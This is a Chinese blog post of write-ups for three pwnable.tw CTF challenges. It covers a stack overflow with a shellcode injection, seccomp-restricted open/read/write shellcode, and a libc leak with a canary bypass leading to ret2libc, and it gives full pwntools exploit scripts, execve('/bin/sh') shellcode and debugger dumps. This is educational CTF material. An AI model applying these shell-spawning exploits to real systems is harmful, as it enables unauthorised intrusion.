pwnable.tw 部分题解

pwnable.tw 部分详细题解

1. start

点击 这里 下载题目

易知信息

  • 所有保护都被禁用
  • 有明显的栈溢出
  • sys_readsys_write所操作的内存空间都是esp指向的位置

分析

  • 程序没有开启NX保护,所以我们可以通过写入并执行shellcode来获得shell
  • 但在执行shellcode之前,我们需要先得到esp的具体值,从而计算出shellcode在栈上的具体地址
    • 分析汇编代码和栈结构,我们可以发现,old esp被存到了栈的底部。
    • 所以只要我们将这个地址泄露出来,那么就可以得知栈顶地址。
    • 而当程序第一次ret后,esp就指向old esp
    • 所以我们可以通过retsys_write,将old esp泄露,同时还可以进行二次栈溢出,写入并跳转至shellcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 第一次执行sys_write之前的栈空间结构
pwndbg> stack 20
00:0000esp 0xffffd2c4 —> 0x2774654c ("Let'")
01:00040xffffd2c8 —> 0x74732073 ('s st')
02:00080xffffd2cc —> 0x20747261 ('art ')
03:000c│ 0xffffd2d0 —> 0x20656874 ('the ')
04:00100xffffd2d4 —> 0x3a465443 ('CTF:')
05:00140xffffd2d8 —> 0x804809d (_exit) —> pop esp
06:0018│ old esp 0xffffd2dc —> 0xffffd2e0 —> 0x1
07:001c│ 0xffffd2e0 —> 0x1
08:00200xffffd2e4 —> 0xffffd486 —> '/root/Desktop/tmp/Pwn/start'
09:00240xffffd2e8 —> 0x0
0a:00280xffffd2ec —> 0xffffd4a2 —> 'CLUTTER_IM_MODULE=fcitx'
......

解决方案

  1. 构建并输入payload,通过缓冲区溢出漏洞,设置程序ret时跳转回sys_write,从而泄露esp
  2. 通过泄露出的esp,计算出shellcode的地址
  3. 再次构建并输入payload, 设置栈上old eipshellcode的地址,同时写入shellcode
  4. 程序ret时跳转到shellcode,成功get shell.

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# -*- coding: utf-8 -*-
from pwn import *

io = remote("chall.pwnable.tw", 10000)

payload = 20 * "a" + p32(0x08048087)
io.sendafter("the CTF:", payload)
esp = io.recv()[:4]
payload = 20 *"a" + p32(u32(esp) + 20)

payload += "\x31\xc0\x50\x68\x2f\x2f\x73"\
"\x68\x68\x2f\x62\x69\x6e\x89"\
"\xe3\x89\xc1\x89\xc2\xb0\x0b"\
"\xcd\x80\x31\xc0\x40\xcd\x80"

io.send(payload)
io.interactive()

随笔

  • 这是我见过最小的pwn题,但短小精悍,需要好好下一番功夫

参考

Linux/x86 - execve(/bin/sh) - 28 bytes by Jean Pascal Pereira


2. ORW

Only open read write syscall are allowed to use.
点击 这里 下载题目

易知信息

  • 可直接执行shellcode
  • 只可使用 sys_open sys_readsys_write(题目规定)

解决方案

  • 直接发送构造好的shellcode,获得flag

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# -*- coding: utf-8 -*-
from pwn import *

io = remote("chall.pwnable.tw", 10001)

context(terminal=['gnome-terminal', '-x', 'bash', '-c'], os='linux', arch='x86')

buf = 0x0804A060 + 0x60
shellcode = asm(shellcraft.open("/home/orw/flag"))
shellcode += asm(shellcraft.read(3, buf, 0x60))
shellcode += asm(shellcraft.write(1, buf, 0x60))

io.sendafter("Give my your shellcode:", shellcode)
io.interactive()

有趣的code

在刚看到题目时,有个问题一直在困扰着我 —— 题目要如何限制我不使用sys_exec呢?
直到我看到了这个函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
int orw_seccomp()
{
__int16 v1; // [sp+4h] [bp-84h]@1
char *v2; // [sp+8h] [bp-80h]@1
char v3; // [sp+Ch] [bp-7Ch]@1
int v4; // [sp+6Ch] [bp-1Ch]@1

v4 = *MK_FP(__GS__, 20);
qmemcpy(&v3, &unk_8048640, 0x60u);
v1 = 12;
v2 = &v3;
prctl(38, 1, 0, 0, 0);
prctl(22, 2, &v1);
return *MK_FP(__GS__, 20) ^ v4;
}

我们可以发现,这个函数内的核心语句为里面的两个prctl函数调用
prctl是干什么用的呢?

prctl

通过查阅Linux manual page的相关信息,可以得出,这个函数是对进程做一些设置

prctl - operations on a process
prctl() is called with a first argument describing what to do (with
values defined in <linux/prctl.h>), and further arguments with a
significance depending on the first one.

函数原型为

1
2
#include <sys/prctl.h>
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);

通过查阅/usr/include/linux/prctl.h,我们可以得知题目里的两个枚举分别为PR_SET_NO_NEW_PRIVSPR_SET_SECCOMP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//  /usr/include/linux/prctl.h

/*
* If no_new_privs is set, then operations that grant new privileges (i.e.
* execve) will either fail or not grant them. This affects suid/sgid,
* file capabilities, and LSMs.
*
* Operations that merely manipulate or drop existing privileges (setresuid,
* capset, etc.) will still work. Drop those privileges if you want them gone.
*
* Changing LSM security domain is considered a new privilege. So, for example,
* asking selinux for a specific new context (e.g. with runcon) will result
* in execve returning -EPERM.
*
* See Documentation/userspace-api/no_new_privs.rst for more details.
*/
#define PR_SET_NO_NEW_PRIVS 38

/* Set process seccomp mode */
#define PR_SET_SECCOMP 22

而这两个枚举有什么用呢,让我们一起查阅一下Linux manual page

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
PR_SET_NO_NEW_PRIVS (since Linux 3.5)
Set the calling thread's no_new_privs attribute to the value
in arg2. With no_new_privs set to 1, execve(2) promises not
to grant privileges to do anything that could not have been
done without the execve(2) call. Once set, this the
no_new_privs attribute cannot be unset. The setting of this
attribute is inherited by children created by fork(2) and
clone(2), and preserved across execve(2).


PR_SET_SECCOMP (since Linux 2.6.23)
Set the secure computing (seccomp) mode for the calling
thread, to limit the available system calls.

The seccomp mode is selected via arg2.

With arg2 set to SECCOMP_MODE_STRICT, the only system calls
that the thread is permitted to make are read(2), write(2),
_exit(2) (but not exit_group(2)), and sigreturn(2). Other
system calls result in the delivery of a SIGKILL signal.

With arg2 set to SECCOMP_MODE_FILTER (since Linux 3.5), the
system calls allowed are defined by a pointer to a Berkeley
Packet Filter passed in arg3. This argument is a pointer to
struct sock_fprog; it can be designed to filter arbitrary sys‐
tem calls and system call arguments.

再看看与PR_SET_SECCOMP相关的枚举定义(位于/usr/include/linux/seccomp.h):

1
2
3
4
5
6
//  /usr/include/linux/seccomp.h

/* Valid values for seccomp.mode and prctl(PR_SET_SECCOMP, <mode>) */
#define SECCOMP_MODE_DISABLED 0 /* seccomp is not in use. */
#define SECCOMP_MODE_STRICT 1 /* uses hard-coded filter. */
#define SECCOMP_MODE_FILTER 2 /* uses user-supplied filter. */

通过以上信息,我们可以得出:

  • PR_SET_NO_NEW_PRIVS被设置之后,如果arg21,那么我们就无法通过系统中断来调用sys_exec,同时这项设置还会继承给子进程

  • PR_SET_SECCOMP被设置之后

    • 如果arg2SECCOMP_MODE_STRICT,则当程序执行除readwrite_exitsigreturn以为的指令时,将会收到SIGKILL信号
    • 如果arg2SECCOMP_MODE_FILTER,则程序的系统调用规则将会设置为arg3 (sock_fprog结构体指针) 指向的规则。该指针所指内存上的规则是基于Berkeley Packet Filter (BPF)沙箱规则。
  • 当前程序所执行的是

    1
    2
    prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
    prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &v1);

如此,便限制住程序不能执行sys_exec.
至于关于BPF沙箱规则的分析,由于我水平有限,故暂时不做分析,等到以后水平提高了再战

参考


3. dubblesort

Sort the memory!

点击 这里 下载题目

执行流程

  1. 提示用户输入姓名
  2. 将姓名输出
  3. 提示用户输入即将输入数字的个数n
  4. 提示用户输入n个数字
  5. 对这些数进行冒泡排序
  6. 输出排序后的所有数字

易知信息

  • 保护全开(简直不要太惊喜)
  • 存在一个无法直接使用的栈溢出

分析前的操作

题目给了一个libc出来,所以我们可以…

  • 先查看该libc的相关信息

    • 先查看给出的libc的版本。通过输出信息可以得知该libc为 Ubuntu GLIBC 2.23-0ubuntu5

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      # root @ Kiprey in ~/Desktop/Pwn [20:56:20]
      $ ./libc_32.so.6
      GNU C Library (Ubuntu GLIBC 2.23-0ubuntu5) stable release version 2.23, by Roland McGrath et al.
      Copyright (C) 2016 Free Software Foundation, Inc.
      This is free software; see the source for copying conditions.
      There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
      PARTICULAR PURPOSE.
      Compiled by GNU CC version 5.4.0 20160609.
      Available extensions:
      crypt add-on version 2.1 by Michael Glad and others
      GNU Libidn by Simon Josefsson
      Native POSIX Threads Library by Ulrich Drepper et al
      BIND-8.2.3-T5B
      libc ABIs: UNIQUE IFUNC
      For bug reporting instructions, please see:
      <https://bugs.launchpad.net/ubuntu/+source/glibc/+bugs>.
    • 再查看给出的libc的位数 。 通过输出信息可得知为32位(这一步可做可不做,因为方法太多了,无论是直接查看还是间接查看)

      1
      2
      3
      # root @ Kiprey in ~/Desktop/Pwn [20:57:02]
      $ file libc_32.so.6
      libc_32.so.6: ELF 32-bit LSB shared object, Intel 80386, version 1 (GNU/Linux), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=d26149b8dc15c0c3ea8a5316583757f69b39e037, for GNU/Linux 2.6.32, stripped
  • 再修改可执行文件header里的ld pathlibc path为指定的文件(点击x86_ld-2.23.so.2下载ld文件)
    使该可执行文件强制使用给定的libc

    1
    2
    3
    4
    # 设置可执行文件使用的ld链接器为指定的ld (ld版本必须和libc的版本一致!!!)
    patchelf --set-interpreter /root/Desktop/Pwn/tmp/x86_ld-2.23.so.2 dubblesort
    # 替换可执行文件使用的libc为指定的libc
    patchelf --replace-needed libc.so.6 /root/Desktop/Pwn/libc_32.so.6 dubblesort
  • 最后查看是否修改成功

    • 第一种方法

      1
      2
      3
      4
      5
      # root @ Kiprey in ~/Desktop/Pwn [23:55:46]
      $ ldd dubblesort
      linux-gate.so.1 (0xf7fba000)
      /root/Desktop/Pwn/libc_32.so.6 (0xf7dfc000)
      /root/Desktop/Pwn/tmp/x86_ld-2.23.so.2 => /lib/ld-linux.so.2 (0xf7fbb000)
    • 第二种方法

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      # root @ Kiprey in ~/Desktop/Pwn [23:57:28] C:130
      $ readelf -d dubblesort

      Dynamic section at offset 0xea8 contains 27 entries:
      Tag Type Name/Value
      0x00000001 (NEEDED) Shared library: [/root/Desktop/Pwn/libc_32.so.6]
      0x0000000c (INIT) 0x5f8
      0x0000000d (FINI) 0xbb4
      0x00000019 (INIT_ARRAY) 0x1e9c
      0x0000001b (INIT_ARRAYSZ) 4 (bytes)
      0x0000001a (FINI_ARRAY) 0x1ea0
      0x0000001c (FINI_ARRAYSZ) 4 (bytes)
      0x6ffffef5 (GNU_HASH) 0x1ac
      0x00000005 (STRTAB) 0x3000
      0x00000006 (SYMTAB) 0x1e0
      0x0000000a (STRSZ) 358 (bytes)
      0x0000000b (SYMENT) 16 (bytes)
      0x00000015 (DEBUG) 0x0
      0x00000003 (PLTGOT) 0x1fa0
      0x00000002 (PLTRELSZ) 112 (bytes)
      0x00000014 (PLTREL) REL
      0x00000017 (JMPREL) 0x588
      0x00000011 (REL) 0x538
      0x00000012 (RELSZ) 80 (bytes)
      0x00000013 (RELENT) 8 (bytes)
      0x00000018 (BIND_NOW)
      0x6ffffffb (FLAGS_1) Flags: NOW
      0x6ffffffe (VERNEED) 0x4d8
      0x6fffffff (VERNEEDNUM) 1
      0x6ffffff0 (VERSYM) 0x4a8
      0x6ffffffa (RELCOUNT) 4
      0x00000000 (NULL) 0x0

分析

  • main函数里读取name用的是read函数,在下一行还会输出name
    所以我们可以输入一个无\0结尾的字符串,从而在下一行scanf时,将栈上数据泄露出来

  • 先看看栈上有没有什么有用的数据

    • 查看栈上信息

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      pwndbg> stack 50
      00:0000esp 0xffffd1b0 ◂— 0x1
      01:00040xffffd1b4 —▸ 0x56555c24 ◂— dec eax /* 'Hello %s,How many numbers do you what to sort :' */
      02:00080xffffd1b8 —▸ 0xffffd1ec ◂— 0x74736574 ('test')
      03:000c│ 0xffffd1bc —▸ 0xf7eaf76b ◂— add esp, 0x10
      04:00100xffffd1c0 —▸ 0xffffd1ee ◂— 0xd40a7473
      05:00140xffffd1c4 —▸ 0xffffd2ec —▸ 0xffffd4a8 ◂— 'CLUTTER_IM_MODULE=fcitx'
      06:00180xffffd1c8 ◂— 0xe0
      07:001c│ 0xffffd1cc —▸ 0xf7f3c48a ◂— mov edx, dword ptr [esp + 0x18]
      08:00200xffffd1d0 —▸ 0xffffd1ef —▸ 0xffd40a74 ◂— 0xffd40a74
      09:00240xffffd1d4 ◂— 0x0
      0a:00280xffffd1d8 ◂— 0xc30000
      0b:002c│ 0xffffd1dc ◂— 0x1
      0c:00300xffffd1e0 ◂— 0x0
      0d:00340xffffd1e4 —▸ 0xffffd48b ◂— '/root/Desktop/Pwn/dubblesort'
      0e:00380xffffd1e8 —▸ 0xf7fd0000 ◂— 0x1afdb0
      0f:003c│ ecx esi 0xffffd1ec ◂— 0x74736574 ('test')
      10:00400xffffd1f0 —▸ 0xffffd40a ◂— 0x0
      11:00440xffffd1f4 ◂— 0x2f /* '/' */
      12:00480xffffd1f8 ◂— 0x9e
      13:004c│ 0xffffd1fc ◂— 0x16
      14:00500xffffd200 ◂— 0x8000
      15:00540xffffd204 —▸ 0xf7fd0000 ◂— 0x1afdb0
      16:00580xffffd208 —▸ 0xf7fce244 —▸ 0xf7e38020 ◂— call 0xf7f3d0d9
      17:005c│ 0xffffd20c —▸ 0x56555601 ◂— add ebx, 0x199f
      18:00600xffffd210 —▸ 0x565557a9 ◂— add ebx, 0x17f7
      19:00640xffffd214 —▸ 0x56556fa0 ◂— 0x1ea8
      1a:00680xffffd218 ◂— 0x1
      1b:006c│ 0xffffd21c —▸ 0x56555b72 ◂— add edi, 1
      1c:00700xffffd220 ◂— 0x1
      1d:00740xffffd224 —▸ 0xffffd2e4 —▸ 0xffffd48b ◂— '/root/Desktop/Pwn/dubblesort'
      1e:00780xffffd228 —▸ 0xffffd2ec —▸ 0xffffd4a8 ◂— 'CLUTTER_IM_MODULE=fcitx'
      1f:007c│ 0xffffd22c ◂— 0x19d01800
      20:00800xffffd230 —▸ 0xf7fd03dc —▸ 0xf7fd11e0 ◂— 0x0
      21:00840xffffd234 —▸ 0xffffd47b ◂— 'i686'
      22:00880xffffd238 —▸ 0x56555b2b ◂— add ebx, 0x1475
      23:008c│ 0xffffd23c ◂— 0x0
      24:00900xffffd240 —▸ 0xf7fd0000 ◂— 0x1afdb0
      ... ↓
      26:0098ebp 0xffffd248 ◂— 0x0
      27:009c│ 0xffffd24c —▸ 0xf7e38637 (__libc_start_main+247) ◂— add esp, 0x10
      28:00a0│ 0xffffd250 ◂— 0x1
      29:00a4│ 0xffffd254 —▸ 0xffffd2e4 —▸ 0xffffd48b ◂— '/root/Desktop/Pwn/dubblesort'
      2a:00a8│ 0xffffd258 —▸ 0xffffd2ec —▸ 0xffffd4a8 ◂— 'CLUTTER_IM_MODULE=fcitx'
      2b:00ac│ 0xffffd25c ◂— 0x0
      ... ↓
      2e:00b8│ 0xffffd268 —▸ 0xf7fd0000 ◂— 0x1afdb0
      2f:00bc│ 0xffffd26c —▸ 0xf7ffdc04 ◂— 0x0
      30:00c0│ 0xffffd270 ◂— 0x1
      31:00c4│ 0xffffd274 ◂— 0x0
    • 再看看此时的内存分布情况

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      pwndbg> vmmap
      LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
      0x56555000 0x56556000 r-xp 1000 0 /root/Desktop/Pwn/dubblesort
      0x56556000 0x56557000 r--p 1000 0 /root/Desktop/Pwn/dubblesort
      0x56557000 0x5655a000 rw-p 3000 1000 /root/Desktop/Pwn/dubblesort
      0xf7e1f000 0xf7e20000 rw-p 1000 0
      0xf7e20000 0xf7fcd000 r-xp 1ad000 0 /root/Desktop/Pwn/libc_32.so.6
      0xf7fcd000 0xf7fce000 ---p 1000 1ad000 /root/Desktop/Pwn/libc_32.so.6
      0xf7fce000 0xf7fd0000 r--p 2000 1ad000 /root/Desktop/Pwn/libc_32.so.6
      0xf7fd0000 0xf7fd1000 rw-p 1000 1af000 /root/Desktop/Pwn/libc_32.so.6
      0xf7fd1000 0xf7fd5000 rw-p 4000 0
      0xf7fd5000 0xf7fd8000 r--p 3000 0 [vvar]
      0xf7fd8000 0xf7fd9000 r-xp 1000 0 [vdso]
      0xf7fd9000 0xf7ffc000 r-xp 23000 0 /root/Desktop/Pwn/tmp/x86_ld-2.23.so.2
      0xf7ffc000 0xf7ffd000 r--p 1000 22000 /root/Desktop/Pwn/tmp/x86_ld-2.23.so.2
      0xf7ffd000 0xf7ffe000 rw-p 1000 23000 /root/Desktop/Pwn/tmp/x86_ld-2.23.so.2
      0xfff00000 0xffffe000 rw-p fe000 0 [stack]
    • 通过以上信息,我们可以得知,栈上有一个指向libc的指针(位于上面的0xffffd208处)

  • 所以,通过scanf将栈上指向libc的指针的值泄露出来,再减去相应的偏移值,我们就可以得到libc base,进而得到system addr/bin/sh addr

  • 接下来我们就得将system addr/bin/sh addr送到old eipold eip - 4*2

    • 位置的变化我们可以利用程序中的dubblesort函数
      • 注意dubblesort是将数据从小到大依次排序,所以我们需要精心构造栈上的值,设置不同的大小,
        从而使canary在排序过后还是在原来的地方,而system addr/bin/sh addr换到我们需要的位置
    • 但当程序让我们输入n个数时,原来在栈上的数据就会被覆盖,而Canary自然也不例外。
      所以我们需要在正常结束当前scanf调用的情况下,不修改该scanf存放新数字的栈位置上的值
      • 我们可以利用scanf的如下特性来完成我们的目的:

        scanf只读取到“+”“-”时,scanf不做任何操作,所以存放新数字的栈位置上的值可以得以保留。

解决方案

  1. 构建特殊字符串,泄露libc base
  2. 精心布置栈上数据,利用dubblesort将我们构建的system addr'/bin/sh' addr 换到old eipold eip - 2 * 4 这两个位置。
  3. 待程序执行冒泡排序后,ret即可get shell

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# -*- coding: utf-8 -*-
from pwn import *

libc = ELF("./libc_32.so.6")
io = remote("chall.pwnable.tw", 10101)
# io = process("./dubblesort")

context(terminal=['gnome-terminal', '-x', 'bash', '-c'], os='linux', arch='x86')
# context.log_level = 'debug'

# 泄露栈上数据, 得到libc base
io.sendafter("What your name :", "a"*4*7)
libc_base = u32(io.recv(40)[34:38]) - 0x1ae244
shell_addr = libc_base + next(libc.search("/bin/sh"))
system_addr = libc_base + libc.symbols["system"]
# 注意: shell_addr > system_addr

# 布置栈上数据
io.sendlineafter("How many numbers do you what to sort :", "35")

for i in range(24):
io.sendlineafter("number : ", "0")
# 绕过canary,不修改它
io.sendlineafter("number : ", "+")
# 修改canary之后的9个值
io.sendlineafter("number : ", str(system_addr))
for i in range(8):
io.sendlineafter("number : ", str(system_addr - i))
# 写入参数
io.sendlineafter("number : ", str(shell_addr))
# 丢弃垃圾信息
sleep(1)
io.recv()
# get shell
io.interactive()

随笔

这题的关键在于认识到栈上数据的敏感性。
尽管当前函数并没有写入什么数据到栈上,但栈上却残留着上一个函数遗留下的信息。
好好利用一番也可得到意外的收获。(亏我当初看dubblesort排序函数看了辣么久…)

参考

关于不同版本 glibc 更换的一些问题

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2020-2024 Kiprey
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~